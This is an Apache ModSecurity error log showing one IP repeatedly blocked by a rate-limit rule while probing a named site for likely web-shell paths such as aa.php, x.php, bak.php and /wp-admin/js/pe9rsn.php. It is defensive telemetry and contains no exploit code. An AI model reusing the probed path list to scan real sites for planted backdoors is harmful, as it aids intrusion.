[Fri Feb 27 08:11:38.226466 2026] [:error] [pid 4081:tid 4103] [client 51.12.82.80:6015] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aaDhOg55mnr35z8h7t36ZgAAANQ"]
[Fri Feb 27 08:11:38.780325 2026] [:error] [pid 42563:tid 42588] [client 51.12.82.80:11509] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaDhOnKL5BclZy73IRH9sQAAAdI"]
[Fri Feb 27 08:11:39.315759 2026] [:error] [pid 21329:tid 21391] [client 51.12.82.80:6005] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaDhO5vQWnde-MjcQ1F8dAAAAUg"]
[Fri Feb 27 08:11:39.846445 2026] [:error] [pid 3975:tid 4010] [client 51.12.82.80:17544] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaDhOxMVp0-T2hD76b3M0AAAAIA"]
[Fri Feb 27 08:11:40.376243 2026] [:error] [pid 21329:tid 21401] [client 51.12.82.80:35458] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaDhPJvQWnde-MjcQ1F8eAAAAVI"]
[Fri Feb 27 08:11:40.903172 2026] [:error] [pid 5365:tid 5372] [client 51.12.82.80:34892] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aaDhPJYAa8J3tYxdG3yiiwAAAQU"]
[Fri Feb 27 08:11:41.430243 2026] [:error] [pid 5365:tid 5384] [client 51.12.82.80:34396] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aaDhPZYAa8J3tYxdG3yijQAAARE"]
[Fri Feb 27 08:11:41.958294 2026] [:error] [pid 5365:tid 5388] [client 51.12.82.80:10735] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aaDhPZYAa8J3tYxdG3yilgAAARU"]
[Fri Feb 27 08:11:42.484922 2026] [:error] [pid 21329:tid 21400] [client 51.12.82.80:5900] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aaDhPpvQWnde-MjcQ1F8fAAAAVE"]
[Fri Feb 27 08:11:43.014300 2026] [:error] [pid 5365:tid 5372] [client 51.12.82.80:6122] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aaDhP5YAa8J3tYxdG3yinQAAAQU"]
[Fri Feb 27 08:11:43.546475 2026] [:error] [pid 5365:tid 5382] [client 51.12.82.80:5945] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aaDhP5YAa8J3tYxdG3yioQAAAQ8"]
[Fri Feb 27 08:11:44.077082 2026] [:error] [pid 5365:tid 5385] [client 51.12.82.80:35093] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aaDhQJYAa8J3tYxdG3yipAAAARI"]
[Fri Feb 27 08:11:44.607358 2026] [:error] [pid 5365:tid 5380] [client 51.12.82.80:4900] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aaDhQJYAa8J3tYxdG3yiqAAAAQ0"]
[Fri Feb 27 08:11:45.146766 2026] [:error] [pid 5365:tid 5375] [client 51.12.82.80:35090] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/beez/index.php"] [unique_id "aaDhQZYAa8J3tYxdG3yiqwAAAQg"]
[Fri Feb 27 08:11:45.694720 2026] [:error] [pid 5365:tid 5381] [client 51.12.82.80:2806] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/beez/index.php"] [unique_id "aaDhQZYAa8J3tYxdG3yirwAAAQ4"]
[Fri Feb 27 08:11:46.219840 2026] [:error] [pid 42563:tid 42585] [client 51.12.82.80:2192] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/beez/index.php"] [unique_id "aaDhQnKL5BclZy73IRH9uwAAAc8"]
[Fri Feb 27 08:11:46.753270 2026] [:error] [pid 42563:tid 42593] [client 51.12.82.80:2997] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/beez/index.php"] [unique_id "aaDhQnKL5BclZy73IRH9vAAAAdc"]
[Fri Feb 27 08:11:47.286755 2026] [:error] [pid 5365:tid 5370] [client 51.12.82.80:2802] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aaDhQ5YAa8J3tYxdG3yitwAAAQM"]
[Fri Feb 27 08:11:47.832008 2026] [:error] [pid 5365:tid 5367] [client 51.12.82.80:2757] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aaDhQ5YAa8J3tYxdG3yivwAAAQA"]
[Fri Feb 27 08:11:48.368834 2026] [:error] [pid 5365:tid 5367] [client 51.12.82.80:2770] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aaDhRJYAa8J3tYxdG3yizwAAAQA"]
[Fri Feb 27 08:11:48.896184 2026] [:error] [pid 42563:tid 42574] [client 51.12.82.80:15134] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aaDhRHKL5BclZy73IRH9wQAAAcY"]
[Fri Feb 27 08:11:49.421822 2026] [:error] [pid 42563:tid 42569] [client 51.12.82.80:9760] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "aaDhRXKL5BclZy73IRH9wgAAAcE"]
[Fri Feb 27 08:11:50.001964 2026] [:error] [pid 4081:tid 4095] [client 51.12.82.80:9741] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "aaDhRg55mnr35z8h7t36ZwAAAMw"]
[Fri Feb 27 08:11:50.581773 2026] [:error] [pid 42435:tid 42453] [client 51.12.82.80:6103] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "aaDhRh5hHLnaukp_y9-yUwAAAY0"]
[Fri Feb 27 08:11:51.199297 2026] [:error] [pid 42658:tid 42683] [client 51.12.82.80:2395] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "aaDhR4zcoYl3nRbu1ja34AAAAhc"]
[Fri Feb 27 08:11:51.740192 2026] [:error] [pid 5365:tid 5369] [client 51.12.82.80:36044] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aaDhR5YAa8J3tYxdG3yi1gAAAQI"]
[Fri Feb 27 08:11:52.280620 2026] [:error] [pid 42658:tid 42673] [client 51.12.82.80:24105] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aaDhSIzcoYl3nRbu1ja35AAAAg0"]
[Fri Feb 27 08:11:52.825135 2026] [:error] [pid 42658:tid 42680] [client 51.12.82.80:9762] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aaDhSIzcoYl3nRbu1ja35gAAAhQ"]
[Fri Feb 27 08:11:53.389241 2026] [:error] [pid 3974:tid 4041] [client 51.12.82.80:9777] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aaDhSXp-fQtdOYjkuFvvTAAAAEQ"]
[Fri Feb 27 08:11:53.921259 2026] [:error] [pid 42435:tid 42459] [client 51.12.82.80:24077] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aaDhSR5hHLnaukp_y9-yVQAAAZM"]
[Fri Feb 27 08:11:54.466000 2026] [:error] [pid 42563:tid 42586] [client 51.12.82.80:34895] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aaDhSnKL5BclZy73IRH9xQAAAdA"]
[Fri Feb 27 08:11:55.003184 2026] [:error] [pid 3975:tid 4020] [client 51.12.82.80:24108] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aaDhSxMVp0-T2hD76b3M2gAAAIo"]
[Fri Feb 27 08:11:55.545974 2026] [:error] [pid 3974:tid 4042] [client 51.12.82.80:6555] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aaDhS3p-fQtdOYjkuFvvUAAAAEU"]
[Fri Feb 27 08:11:56.078357 2026] [:error] [pid 3974:tid 4054] [client 51.12.82.80:24069] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaDhTHp-fQtdOYjkuFvvUwAAAFE"]
[Fri Feb 27 08:11:56.633467 2026] [:error] [pid 5365:tid 5377] [client 51.12.82.80:9438] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaDhTJYAa8J3tYxdG3yi2wAAAQo"]
[Fri Feb 27 08:11:57.163039 2026] [:error] [pid 42658:tid 42664] [client 51.12.82.80:18275] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaDhTYzcoYl3nRbu1ja37gAAAgQ"]
[Fri Feb 27 08:11:57.699126 2026] [:error] [pid 42563:tid 42592] [client 51.12.82.80:21472] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaDhTXKL5BclZy73IRH9ygAAAdY"]
[Fri Feb 27 08:11:58.233760 2026] [:error] [pid 42658:tid 42681] [client 51.12.82.80:33398] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaDhTozcoYl3nRbu1ja38QAAAhU"]
[Fri Feb 27 08:11:58.764110 2026] [:error] [pid 42435:tid 42455] [client 51.12.82.80:18273] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaDhTh5hHLnaukp_y9-yWAAAAY8"]
[Fri Feb 27 08:11:59.293871 2026] [:error] [pid 3973:tid 3993] [client 51.12.82.80:21480] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaDhT4JZsftwqmUaaLMHJgAAAAo"]
[Fri Feb 27 08:11:59.829102 2026] [:error] [pid 42435:tid 42440] [client 51.12.82.80:2404] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaDhTx5hHLnaukp_y9-yXQAAAYA"]
[Fri Feb 27 08:12:00.350489 2026] [:error] [pid 42658:tid 42677] [client 51.12.82.80:33368] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaDhUIzcoYl3nRbu1ja39gAAAhE"]
[Fri Feb 27 08:12:00.885055 2026] [:error] [pid 21329:tid 21390] [client 51.12.82.80:2872] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaDhUJvQWnde-MjcQ1F8iwAAAUc"]
[Fri Feb 27 08:12:01.423803 2026] [:error] [pid 4081:tid 4088] [client 51.12.82.80:9468] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaDhUQ55mnr35z8h7t36bgAAAMU"]
[Fri Feb 27 08:12:01.954278 2026] [:error] [pid 21329:tid 21400] [client 51.12.82.80:24112] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaDhUZvQWnde-MjcQ1F8jQAAAVE"]
[Fri Feb 27 08:12:02.489255 2026] [:error] [pid 42658:tid 42661] [client 51.12.82.80:24094] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aaDhUozcoYl3nRbu1ja3_AAAAgE"]
[Fri Feb 27 08:12:03.015647 2026] [:error] [pid 42563:tid 42583] [client 51.12.82.80:2414] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aaDhU3KL5BclZy73IRH90gAAAc0"]
[Fri Feb 27 08:12:03.568451 2026] [:error] [pid 42658:tid 42673] [client 51.12.82.80:21447] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aaDhU4zcoYl3nRbu1ja4AwAAAg0"]
[Fri Feb 27 08:12:04.096901 2026] [:error] [pid 42563:tid 42584] [client 51.12.82.80:33359] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aaDhVHKL5BclZy73IRH91QAAAc4"]
[Fri Feb 27 08:12:04.662012 2026] [:error] [pid 42658:tid 42663] [client 51.12.82.80:2405] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/special.php"] [unique_id "aaDhVIzcoYl3nRbu1ja4BwAAAgM"]
[Fri Feb 27 08:12:05.189768 2026] [:error] [pid 42658:tid 42670] [client 51.12.82.80:2430] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/special.php"] [unique_id "aaDhVYzcoYl3nRbu1ja4DQAAAgo"]
[Fri Feb 27 08:12:05.743062 2026] [:error] [pid 42658:tid 42674] [client 51.12.82.80:16730] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/special.php"] [unique_id "aaDhVYzcoYl3nRbu1ja4DwAAAg4"]
[Fri Feb 27 08:12:06.276053 2026] [:error] [pid 42658:tid 42675] [client 51.12.82.80:12087] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/special.php"] [unique_id "aaDhVozcoYl3nRbu1ja4FgAAAg8"]
[Fri Feb 27 08:12:06.839929 2026] [:error] [pid 42563:tid 42589] [client 51.12.82.80:34257] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bak.php"] [unique_id "aaDhVnKL5BclZy73IRH92gAAAdM"]
[Fri Feb 27 08:12:07.375175 2026] [:error] [pid 21329:tid 21407] [client 51.12.82.80:24125] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bak.php"] [unique_id "aaDhV5vQWnde-MjcQ1F8jwAAAVg"]
[Fri Feb 27 08:12:07.899607 2026] [:error] [pid 5365:tid 5370] [client 51.12.82.80:18301] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bak.php"] [unique_id "aaDhV5YAa8J3tYxdG3yi6AAAAQM"]
